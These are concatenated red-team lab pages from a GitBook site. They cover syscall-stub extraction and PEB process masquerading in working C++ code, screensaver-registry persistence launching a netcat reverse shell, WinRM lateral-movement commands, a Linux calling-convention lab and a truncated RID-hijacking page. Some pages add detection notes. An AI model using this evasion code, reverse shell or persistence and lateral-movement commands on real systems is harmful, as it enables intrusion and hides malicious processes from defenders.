ntdll exported function names 2. \`.text\` contains code that gets executed by those functions 3. Locate the specified function's code (syscall) in the memory location \`m1\`. In this lab I will find the location where the stub code for \`NtCreateFile\` resides 4. Extract the stub (23 bytes) of the \`NtCreateFile\` and write it to some memory location \`m2\` 5. Declare a function prototype for \`NtCreateFile\` 6. Define a variable \`v1\` of function type \`NtCreateFile\` and point it to the memory location \`m2\`, where the syscall stub for \`NtCreateFile\` is written, as mentioned in step 4. 7. Invoke the \`NtCreateFile\` syscall by calling the syscall \`v1\`, which actually points to \`m2\`, where \`NtCreateFile\` syscall stub is stored 8. \`NtCreate\` syscall gets executed - profit {% hint style="info" %} Note, that the above process is just one way of achieving the same goal. {% endhint %} ## Reminder As a reminder, we can easily see the syscall IDs for NT functions via WinDBG or any other debugger. The syscall ID is 2 bytes in length and starts 4 bytes into the function, so for example, the syscall ID for \`NtCreateFile\` is \`0x0055\`, \`NtQueryEvent\` is \`0x0056\`, etc - see below image. Also - in green are the bytes, that I refer to as syscall stub for\`NtCreateFile\` and these are the bytes that we want to be able to retrieve at run-time for any given NT function, and hence this lab. !\[orange - syscall function name and its id, green - syscall stub\](/files/-M9E42HYaQ6E9k1TzWip) ## Extracting the Syscall Stub I wrote a function \`GetSyscallStub\`, that is responsible for steps 3 and 4 of the processes that I outlined in the \`Overview\` section. It allows me to find any given function's code location inside the ntdll.dll and carve out its syscall stub (the first 23 bytes): !\[\](/files/-M9E5PqaqdiVpKUTF6mw) So, for example, if I wanted to retrieve the syscall stub for \`NtCreateFile\`, I would call \`GetSyscallStub\` like so: \`\`\`cpp GetSyscallStub( // function name for which the syscall stub is to be retrieved "NtCreateFile", // ntdll export directory exportDirectory, // ntdll file bytes fileData, // ntdll .text section descriptor - contains code of ntdll exported functions. Required for locating NtCreateFile syscall stub textSection, // ntdll .rdata section descriptor - contains name of ntdll exported functions. rdataSection, // NtCreateFile stub will be written here syscallStub ); \`\`\` Once \`GetSyscallStub\`is called, it will cycle through all the ntdll exported function names (they are resolved to \`functionNameResolved\`) as well as exported function addresses simulatenously, and look for the function we want to extract the syscall stub for, which in our case is the \`NtCreateFile\` (passed to GetSycallStub via \`functionName\`): !\[\](/files/-M9E9yV0T5M\_PbOrNM54) Once the needed function name is resolved, the given function's syscall stub is extracted and stored in the \`syscallStub\` variable. In the below GIF, we can see the instruction \`mov eax, 0x55\` when viewing the \`syscallStub\` variable in a disassembly view. Since we know that the \`NtCreateFile\` syscall ID is \`0x0055\`, this suggests we have extracted the syscall stub successfully: !\[\](/files/-M9EBnftDG7aijcm7wge) ## Calling Syscall Stub In order to be able to invoke the syscall, we need to define a variable \`NtCreateFile\` of type \`myNtCreateFile\` (see code section for the function prototype), point it to the \`syscallStub\` and make \`syscallStub\` executable: !\[\](/files/-M9EDxs0wY-dn\_TveGfj) We can now call \`NtCreateFile\`: \`\`\`cpp NtCreateFile( &fileHandle, FILE\_GENERIC\_WRITE, &oa, &osb, 0, FILE\_ATTRIBUTE\_NORMAL, FILE\_SHARE\_WRITE, FILE\_OVERWRITE\_IF, FILE\_SYNCHRONOUS\_IO\_NONALERT, NULL, 0 ); \`\`\` Below shows how \`NtCreateFile\` gets called on a file c:\\temp\\pw\\.log and a handle to that file is opened, which confirms that \`NtCreateFile\` syscall stub was retrieved and called successfully: !\[\](/files/-M9EDaZfLci1MbQFYXEl) ## Code \`\`\`cpp #include #include "Windows.h" #include "winternl.h" #pragma comment(lib, "ntdll") int const SYSCALL\_STUB\_SIZE = 23; using myNtCreateFile = NTSTATUS(NTAPI\*)(PHANDLE FileHandle, ACCESS\_MASK DesiredAccess, POBJECT\_ATTRIBUTES ObjectAttributes, PIO\_STATUS\_BLOCK IoStatusBlock, PLARGE\_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); PVOID RVAtoRawOffset(DWORD\_PTR RVA, PIMAGE\_SECTION\_HEADER section) { return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData); } BOOL GetSyscallStub(LPCSTR functionName, PIMAGE\_EXPORT\_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE\_SECTION\_HEADER textSection, PIMAGE\_SECTION\_HEADER rdataSection, LPVOID syscallStub) { PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD\_PTR)fileData + \*(&exportDirectory->AddressOfNames), rdataSection); PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD\_PTR)fileData + \*(&exportDirectory->AddressOfFunctions), rdataSection); BOOL stubFound = FALSE; for (size\_t i = 0; i < exportDirectory->NumberOfNames; i++) { DWORD\_PTR functionNameVA = (DWORD\_PTR)RVAtoRawOffset((DWORD\_PTR)fileData + addressOfNames\[i\], rdataSection); DWORD\_PTR functionVA = (DWORD\_PTR)RVAtoRawOffset((DWORD\_PTR)fileData + addressOfFunctions\[i + 1\], textSection); LPCSTR functionNameResolved = (LPCSTR)functionNameVA; if (std::strcmp(functionNameResolved, functionName) == 0) { std::memcpy(syscallStub, (LPVOID)functionVA, SYSCALL\_STUB\_SIZE); stubFound = TRUE; } } return stubFound; } int main(int argc, char\* argv\[\]) { char syscallStub\[SYSCALL\_STUB\_SIZE\] = {}; SIZE\_T bytesWritten = 0; DWORD oldProtection = 0; HANDLE file = NULL; DWORD fileSize = NULL; DWORD bytesRead = NULL; LPVOID fileData = NULL; // variables for NtCreateFile OBJECT\_ATTRIBUTES oa; HANDLE fileHandle = NULL; NTSTATUS status = NULL; UNICODE\_STRING fileName; RtlInitUnicodeString(&fileName, (PCWSTR)L"\\\\??\\\\c:\\\\temp\\\\pw.log"); IO\_STATUS\_BLOCK osb; ZeroMemory(&osb, sizeof(IO\_STATUS\_BLOCK)); InitializeObjectAttributes(&oa, &fileName, OBJ\_CASE\_INSENSITIVE, NULL, NULL); // define NtCreateFile myNtCreateFile NtCreateFile = (myNtCreateFile)(LPVOID)syscallStub; VirtualProtect(syscallStub, SYSCALL\_STUB\_SIZE, PAGE\_EXECUTE\_READWRITE, &oldProtection); file = CreateFileA("c:\\\\windows\\\\system32\\\\ntdll.dll", GENERIC\_READ, FILE\_SHARE\_READ, NULL, OPEN\_EXISTING, FILE\_ATTRIBUTE\_NORMAL, NULL); fileSize = GetFileSize(file, NULL); fileData = HeapAlloc(GetProcessHeap(), 0, fileSize); ReadFile(file, fileData, fileSize, &bytesRead, NULL); PIMAGE\_DOS\_HEADER dosHeader = (PIMAGE\_DOS\_HEADER)fileData; PIMAGE\_NT\_HEADERS imageNTHeaders = (PIMAGE\_NT\_HEADERS)((DWORD\_PTR)fileData + dosHeader->e\_lfanew); DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].VirtualAddress; PIMAGE\_SECTION\_HEADER section = IMAGE\_FIRST\_SECTION(imageNTHeaders); PIMAGE\_SECTION\_HEADER textSection = section; PIMAGE\_SECTION\_HEADER rdataSection = section; for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++) { if (std::strcmp((CHAR\*)section->Name, (CHAR\*)".rdata") == 0) { rdataSection = section; break; } section++; } PIMAGE\_EXPORT\_DIRECTORY exportDirectory = (PIMAGE\_EXPORT\_DIRECTORY)RVAtoRawOffset((DWORD\_PTR)fileData + exportDirRVA, rdataSection); GetSyscallStub("NtCreateFile", exportDirectory, fileData, textSection, rdataSection, syscallStub); NtCreateFile(&fileHandle, FILE\_GENERIC\_WRITE, &oa, &osb, 0, FILE\_ATTRIBUTE\_NORMAL, FILE\_SHARE\_WRITE, FILE\_OVERWRITE\_IF, FILE\_SYNCHRONOUS\_IO\_NONALERT, NULL, 0); return 0; } \`\`\` ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1180-screensaver-hijack.md). # Screensaver Hijack ## Execution To achieve persistence, the attacker can modify \`SCRNSAVE.EXE\` value in the registry \`HKCU\\Control Panel\\Desktop\\\` and change its data to point to any malicious file. In this test, I will use a netcat reverse shell as my malicious payload: {% code title="c:\\shell.cmd\\@victim" %} \`\`\`csharp C:\\tools\\nc.exe 10.0.0.5 443 -e cmd.exe \`\`\` {% endcode %} Let's update the registry: !\[\](/files/-LJ3FfrqwTiqdXKoj0if) The same could be achieved using a native Windows binary reg.exe: {% code title="attacker\\@victim" %} \`\`\`bash reg add "hkcu\\control panel\\desktop" /v SCRNSAVE.EXE /d c:\\shell.cmd \`\`\` {% endcode %} !\[\](/files/-LJ3HryqjxDQX3gMPmez) ## Observations Note the process ancestry on the victim system - the reverse shell process traces back to winlogon.exe as the parent process, which is responsible for managing user logons/logoffs. This is highly suspect and should warrant a further investigation: !\[\](/files/-LJ3FmqTrOH0Vm4yfjik) !\[\](/files/-LJ3NAYVyAx90FHdqEBg) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1180-screensaver-hijack.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement.md). # WinRM for Lateral Movement ## Execution Attacker establishing a PSRemoting session from a compromised system \`10.0.0.2\` to a domain controller \`dc-mantvydas\` at \`10.0.0.6\`: {% code title="attacker\\@10.0.0.2" %} \`\`\`csharp New-PSSession -ComputerName dc-mantvydas -Credential (Get-Credential) Id Name ComputerName ComputerType State ConfigurationName Availability -- ---- ------------ ------------ ----- ----------------- ------------ 1 Session1 dc-mantvydas RemoteMachine Opened Microsoft.PowerShell Available PS C:\\Users\\mantvydas> Enter-PSSession 1 \[dc-mantvydas\]: PS C:\\Users\\spotless\\Documents> calc.exe \`\`\` {% endcode %} ## Observations Note the process ancestry: !\[\](/files/-LI0qv7U-eAGRjmbTneq) !\[\](/files/-LI0rKzPikKBHTUflZJR) On the host that initiated the connection, a \`4648\` logon attempt is logged, showing what process initiated it, the hostname where it connected to and which account was used: !\[\](/files/-LIH\_YCSGG2e8dy\_zo7p) The below graphic shows that the logon events \`4648\` annd \`4624\` are being logged on both the system that initiated the connection (\`pc-mantvydas - 4648\`) and the system that it logged on to (\`dc-mantvydas - 4624\`): !\[\](/files/-LII-OYnpBK3rZIw2DSB) Additionally, \`%SystemRoot%\\System32\\Winevt\\Logs\\Microsoft-Windows-WinRM%4Operational.evtx\` on the host that initiated connection to the remote host, logs some interesting data for a task \`WSMan Session initialize\` : \`\`\`markup - \- 6 0 4 3 1 0x4000000000000002 # connection iniation time 673 # a unique connection ID \# process ID that initiated the connection Microsoft-Windows-WinRM/Operational PC-MANTVYDAS.offense.local \- \# remote host the connection was initiated to dc-mantvydas/wsman?PSVersion=5.1.14409.1005 \`\`\` ...same as above just in the actual screenshot: !\[\](/files/-LIIKY78U41\_JU1igPsL) !\[\](/files/-LIIJ57OZs0hvMp6NDBU) Since we entered into a PS Shell on the remote system \`(Enter-PSSession)\` , there is another interesting log showing the establishment of a remote shell - note that the ShellID corresponds to the earlier observed \`Correlation ActivityID\`: !\[\](/files/-LIILIwzmzep4sNELSUX) ## Additional Useful Commands \[Jules Adriaens\](https://twitter.com/@Expl0itabl3) reached out to me and suggested to add the following useful commands, so here they are: \`\`\`csharp # Enable PowerShell Remoting on the target (box needs to be compromised first) Enable-PSRemoting -force # Check if a given system is listening on WinRM port Test-NetConnection \-CommonTCPPort WINRM # Trust all hosts: Set-Item WSMan:\\localhost\\Client\\TrustedHosts -Value \* -Force # Check what hosts are trusted Get-Item WSMan:\\localhost\\Client\\TrustedHosts # Execute command on remote host Invoke-Command \-Credential $cred -ScriptBlock {Hostname} # Interactive session with explicit credentials Enter-PSSession \-Credential \\ # Interactive session using Kerberos: Enter-PSSession \-Authentication Kerberos # Upload file to remote session Copy-Item -Path C:\\Temp\\PowerView.ps1 -Destination C:\\Temp\\ -ToSession (Get-PSSession) # Download file from remote session Copy-Item -Path C:\\Users\\Administrator\\Desktop\\test.txt -Destination C:\\Temp\\ -FromSession (Get-PSSession) \`\`\` ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-\_peb.md). # Masquerading Processes in Userland via \\\_PEB ## Overview In this short lab I am going to use a WinDBG to make my malicious program pretend to look like a notepad.exe (hence masquerading) when inspecting system's running processes with tools like Sysinternals ProcExplorer and similar. Note that this is not a \[code injection\](/offensive-security/code-injection-process-injection.md) exercise. This is possible, because information about the process, i.e commandline arguments, image location, loaded modules, etc is stored in a memory structure called Process Environment Block (\`\_PEB\`) that is accessible and writeable from the userland. {% hint style="info" %} Thanks to \[@FuzzySec\](https://twitter.com/FuzzySec) who pointed out the following:\\ \\&#xNAN;\*you don't need SeDebugPrivilege when overwriting the PEB for your own process or generally for overwriting a process spawned in your user context\* \[\*https://twitter.com/FuzzySec/status/1090963518558482436\*\](https://twitter.com/FuzzySec/status/1090963518558482436) {% endhint %} This lab builds on the previous lab: {% content-ref url="/pages/-LL0z4oOoj0hSWOAg2-1" %} \[Exploring Process Environment Block\](/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md) {% endcontent-ref %} ## Context For this demo, my malicious binary is going to be an \`nc.exe\` - a rudimentary netcat reverse shell spawned by cmd.exe and the PID of \`4620\`: !\[\](/files/-LPVhGC7anCPfkQEwMxr) Using WinDBG, we will make the nc.exe look like notepad.exe. This will be reflected in the \`Path\` field and the binary icon in the process properties view using ProcExplorer as seen in the below graphic. Note that it is the same nc.exe process (PID 4620) as shown above, only this time masquerading as a notepad.exe: !\[\](/files/-LPSUNUGv5mIniog3kL1) ## Execution So how is this possible? Read on. Let's first have a look at the \\\_PEB structure for the \`nc.exe\` process using WinDBG: \`\`\`csharp dt \_peb @$peb \`\`\` !\[\](/files/-LPSUNUQSYcJjGyOEv8l) Note that at the offset \`0x020\` of the PEB, there is another structure which is of interest to us - \`\_RTL\_USER\_PROCESS\_PARAMETERS\`, which contains nc.exe process information. Let's inspect it further: \`\`\`csharp dt \_RTL\_USER\_PROCESS\_PARAMETERS 0x00000000\`005e1f60 \`\`\` !\[\](/files/-LPSUNUO-ziq7dxBM7lA) The offset \`0x060\` of \`\_RTL\_USER\_PROCESS\_PARAMETERS\` is also of interest to us - it contains a member \`ImagePathName\` which points to a structure \`\_UNICODE\_STRING\` that, as we will see later, contains a field \`Buffer\` which effectively signifies the name/full path to our malicious binary nc.exe. Note how at the offset \`0x70\` we can see the commandline arguments of the malicious process, which we explored \[previously\](/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md). Let's inspect the aforementioned \`\_UNICODE\_STRING\` structure: \`\`\`csharp dt \_UNICODE\_STRING 0x00000000\`005e1f60+60 \`\`\` !\[\](/files/-LPSUNUMcLn8eDDZtsTw) \`\_UNICODE\_STRING\` structure describes the lenght of the string and also points to the actual memory location \`\`0x00000000\`005e280e\`\` by the \`Buffer\` field that contains the string which is a full path to our malicious binary. Let's confirm the string location by dumping the bytes at \`\`0x00000000\`005e280e\`\` by issuing the following command in WinDBG: \`\`\`csharp 0:002> du 0x00000000\`005e280e 00000000\`005e280e "C:\\tools\\nc.exe" \`\`\` !\[\](/files/-LPSUNULfmZ7aDfdXl6v) Now that I have confirmed that \`\`0x00000000\`005e280e\`\` indeed contains the path to the binary, let's try to write a new string to that memory address. Say, let's try swapping the nc.exe with a path to the notepad.exe binary found in Windows\\System32\\notepad.exe: \`\`\`csharp eu 0x00000000\`005e280e "C:\\\\Windows\\\\System32\\\\notepad.exe" \`\`\` !\[\](/files/-LPSUNU6vlUdAAE4vp\_6) {% hint style="warning" %} If you are following along, do not forget to add NULL byte at the end of your new string to terminate it: \`\`\` eb 0x00000000\`005e280e+3d 0x0 \`\`\` {% endhint %} Let's check the \`\_UNICODE\_STRING\` structure again to see if the changes took effect: \`\`\`csharp dt \_UNICODE\_STRING 0x00000000\`005e1f60+60 \`\`\` !\[\](/files/-LPSUNUEoENgmVdX1EcX) We can see that our string is getting truncated. This is because the \`Lenght\` value in the \`\_UNICODE\_STRING\` structure is set to 0x1e (30 decimal) which equals to only 15 unicode characters: !\[\](/files/-LPSUNUC-wNXJ3u9SJkv) Let's increase that value to 0x3e to accomodate our longer string pointing to notepad.exe binary and check the structure again: \`\`\`csharp eb 0x00000000\`005e1f60+60 3e dt \_UNICODE\_STRING 0x00000000\`005e1f60+60 \`\`\` Good, the string pointed to by the field \`Buffer\` is no longer getting truncated: !\[\](/files/-LPSUNUBhi5lFPdgGQ4g) For the sake of this demo, I cleared out the commandline arguments the nc.exe was launched with by amending the \`\_UNICODE\_STRING\` structure member \`Lenght\` by setting it to 0: \`\`\`csharp eb 0x00000000\`005e1f60+70 0x0 \`\`\` Inspecting our malicious nc.exe process again using Process Explorer reveals that it now looks like notepad without commandline arguments: !\[\](/files/-LPSVzL-bdiB4rrcDmHY) Note that to further obfuscate the malicious binary, one could also rename the binary itself from nc.exe to notepad.exe. ## A simple PoC As part of this simple lab, I wanted to write a simple C++ proof of concept that would make the running program masquerade itself as a notepad. Here is the code: {% code title="pebmasquerade.cpp" %} \`\`\`cpp #include "stdafx.h" #include "Windows.h" #include "winternl.h" typedef NTSTATUS(\*MYPROC) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); int main() { HANDLE h = GetCurrentProcess(); PROCESS\_BASIC\_INFORMATION ProcessInformation; ULONG lenght = 0; HINSTANCE ntdll; MYPROC GetProcessInformation; wchar\_t commandline\[\] = L"C:\\\\windows\\\\system32\\\\notepad.exe"; ntdll = LoadLibrary(TEXT("Ntdll.dll")); //resolve address of NtQueryInformationProcess in ntdll.dll GetProcessInformation = (MYPROC)GetProcAddress(ntdll, "NtQueryInformationProcess"); //get \_PEB object (GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght); //replace commandline and imagepathname ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline; ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline; return 0; } \`\`\` {% endcode %} {% file src="/files/-LPbeROlR7MTEB8jW4Zn" %} pebmasquerade.exe {% endfile %} ..and here is the compiled running program being inspected with ProcExplorer - we can see that the masquerading is achieved successfully: !\[\](/files/-LPY3mLnfDasrH3-zBge) ## Observations Switching back to the nc.exe masquerading as notepad.exe, if we check the \`!peb\` data, we can see a notepad.exe is now displayed in the \`Ldr.InMemoryOrderModuleList\` memory structure! !\[\](/files/-LPXFONM9P-noIWZFQJU) {% embed url="" %} Note that even though it shows in the loaded modules that notepad.exe was loaded, it still does not mean that there was an actual notepad.exe process created and sysmon logs prove this, meaning commandline logging can still be helpful in detecting this behaviour. !\[\](/files/-LPXIpCoyZsZsZJU6315) ## Credits \[@b33f\](https://twitter.com/FuzzySec) for his \[Masquerade-PEB.ps1\](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Masquerade-PEB.ps1) which is what originally inspired me (quite some time ago now) to explore this concept, but I never got to lay my hands on it until now.\\ \[\\ @Mumbai\](https://twitter.com/@ilove2pwn\_) for talking to me about C++ and NtQueryInformationProcess ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-\_peb.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame.md). # Linux x64 Calling Convention: Stack Frame ## TL; DR In 64-bit Linux system, function arguments of type integer/pointers are passed to the callee function in the following way: \* Arguments 1-6 are passed via registers RDI, RSI, RDX, RCX, R8, R9 respectively; \* Arguments 7 and above are pushed on to the stack. Once inside the callee function: \* Arguments 1-6 are accessed via registers RDI, RSI, RDX, RCX, R8, R9 before they are modified or via offsets from the RBP register like so: \`rbp - $offset\`. For example, if the first argument passed to the callee is \`int\` (4 bytes) and there are no local variables defined in the function, we could access it via \`rbp - 0x4\`; \* It's worth noting, that: \* if the 1st argument was 8 bytes (for example, \`long int\`), we'd access it via \`rbp - 0x8\`; \* if the callee function had 1 local variable defined that is smaller or equal to 16 bytes, the first argument of type \`int\` would be accessed via \`rbp - (0x10 + 0x4)\` or simply \`rbp - 0x14\`; \* if the callee function had more than 16 bytes reserved for local variables, we'd access the first argument of type \`int\` via \`rbp - 0x24\`, which suggests that with every 16 bytes worth of local variables defined, the first argument is shifted by 0x10 bytes as shown \[here\](/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame.md#accessing-1st-argument); \* Argument 7 can be accessed via \`rbp + 0x10\`, argument 8 via \`rbp + 0x18\` and so on. {% hint style="warning" %} Conclusions listed above are based on the code sample and screenshots provided in the below sections. {% endhint %} ## Code This lab and conclusions are based on the following C program compiled on a 64-bit Linux machine: {% tabs %} {% tab title="stack.c" %} \`\`\`cpp #include int test(int a, int b, int c, int d, int e, int f, int g, int h, int i) { //int a2 = 0x555577; return 1; } int main(int argc, char \*argv\[\]) { test(0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9); return 1; } // compile with gcc stack.c -o stack \`\`\` {% endtab %} {% endtabs %} ## How Arguments Are Passed Let's now see how arguments are passed from a caller to callee. Below is a screenshot that shows where the 9 arguments \`0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9\` passed to the function \`test(int a, int b, int c, int d, int e, int f, int g, int h, int i)\` end up in registers and the stack: !\[\](/files/-M\_kPmfxo1wKpMfYNvkM) Below is a table that complements the above screenshot and shows where arguments live in registers and on the stack and how they get there: | Argument # | Location | Variable | Value | Colour | | ---------- | ---------- | -------- | ----- | ------ | | 1 | RDI | a | 0x1 | Red | | 2 | RSI | b | 0x2 | Red | | 3 | RDX | c | 0x3 | Red | | 4 | RCX | d | 0x4 | Red | | 5 | R8 | e | 0x5 | Orange | | 6 | R9 | f | 0x6 | Orange | | 7 | RSP + 0x10 | g | 0x7 | Lime | | 8 | RSP + 0x18 | h | 0x8 | Lime | | 9 | RSP + 0x20 | i | 0x9 | Lime | {% hint style="info" %} Same applies to arguments that are memory addresses/pointers. {% endhint %} ## Stack Inside test() Below shows how function's \`test\` stack frame looks like on a 64-bit platform: !\[Stack frame x64 inside the function test()\](/files/-M\_kLeQlfTmEOMRm-lqx) Again, note the following: \* Arguments 1 - 6 are moved through the registers \`edi\`, \`esi\`, \`edx\`, \`ecx\`, \`r8d\`, \`r9d\` (orange); \* Arguments 7 - 9 are pushed to the stack via \`push\` (blue); ### Accessing the 1st Argument & Local Variables Until now, our \`test()\` function did not have any local variables defined, so let's see how the stack changes once we have some variables and how we can access them. If the callee had a local variable defined, such as \`int a1 = 0x555577\` (4 bytes, lime) as in our case shown below (lime), we'd access the first argument not via \`rbp - 0x4\` as it was the case previously when the callee had no local variables, but via \`rbp - 0x14\` (i.e it shifted by 0x10 bytes, red): !\[First argument (red) is now shifted by 0x10 on the stack and can be accessed via rbp - 0x14\](/files/-M\_kNunKFLZR3V1MAWIi) Based on the above case, the \`test()\` function stack frame, would now look like this: !\[64-bit stack frame with 1 local variable defined inside the callee function\](/files/-M\_kH7I72thVoXdjJEvP) {% hint style="warning" %} Note that the 1st argument, that we previously could access via \`rbp - 0x4\` has been shifted up by 0x10 bytes and is now accessible via \`rbp - 0x14\` whereas the local variable is now at \`rbp - 0x4\` (where the 1st argument was when the function did not have a local variable defined) followed by 0x10 bytes of padding. {% endhint %} Following the same principle as outlined above, if the callee had more than 16 bytes of local variables defined (17 bytes in our case as shown in the below screenshot), we'd now access the first argument via \`rbp - 0x24\` (i.e another 0x10 bytes shift from \`rbp - 0x14\`): !\[First argument is shifted by 0x10 once again and can be accessed via rbp - 0x24\](/files/-M\_BOpjNIKjs04vJtJ37) Similarly, if the callee had more than 32 bytes of local variables defined (33 bytes in our case as shown in the below screenshot), we'd now access the first argument via \`rbp - 0x34\` (i.e yet another 0x10 bytes shift): !\[First argument is shifted by 0x10 once again and can be accessed via rbp - 0x34\](/files/-M\_BPWKY1Ch3wvC5cdoX) ...and so on. ## State Inside main() Below captures program's state once inside \`main()\`: !\[RDI and RSI registers inside main() contain argument count and argument values\](/files/-MYam6D1vxeOrr3Uaglp) Note from the above screenshot: \* Lime - \`RDI\` contains the the count of arguments our program was launched with (\`argc\`); \* Orange - \`RSI\` contains the address to an array of arguments our program was run with (\`argv\[\]\`) and the first one (\`argv\[0\]\`), as expected, is always the full path to the program itself, which is \`/home/kali/labs/stack/stack\` in our case. Also, if we check what's happening higher up at the stack, we will see that it contains the environment variables the program was started with: !\[\](/files/-MaTcjMUW0CLGv7363Yq) Combining all the above knowledge, we can get a general view of the stack layout: !\[Stack layout for 64-bit program on 64-bit Linux system\](/files/-MaThwaoo5UffZzrO0Jl) ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/rid-hijacking.md). # RID Hijacking RID (Relative ID, part of the SID (Security Identifier)) hijacking is a persistence technique, where an attacker with SYSTEM level privileges assigns an RID 500 (default Windows administrator account) to some low privileged user, effectively making the low privileged account assume administrator privileges on the next logon. This techniques was originally researched by \[Sebastian Castro\](https://twitter.com/r4wd3r) - \## Execution This lab assumes that we've compromised the WS01 machine and have \`NT SYSTEM\` access to it. Below 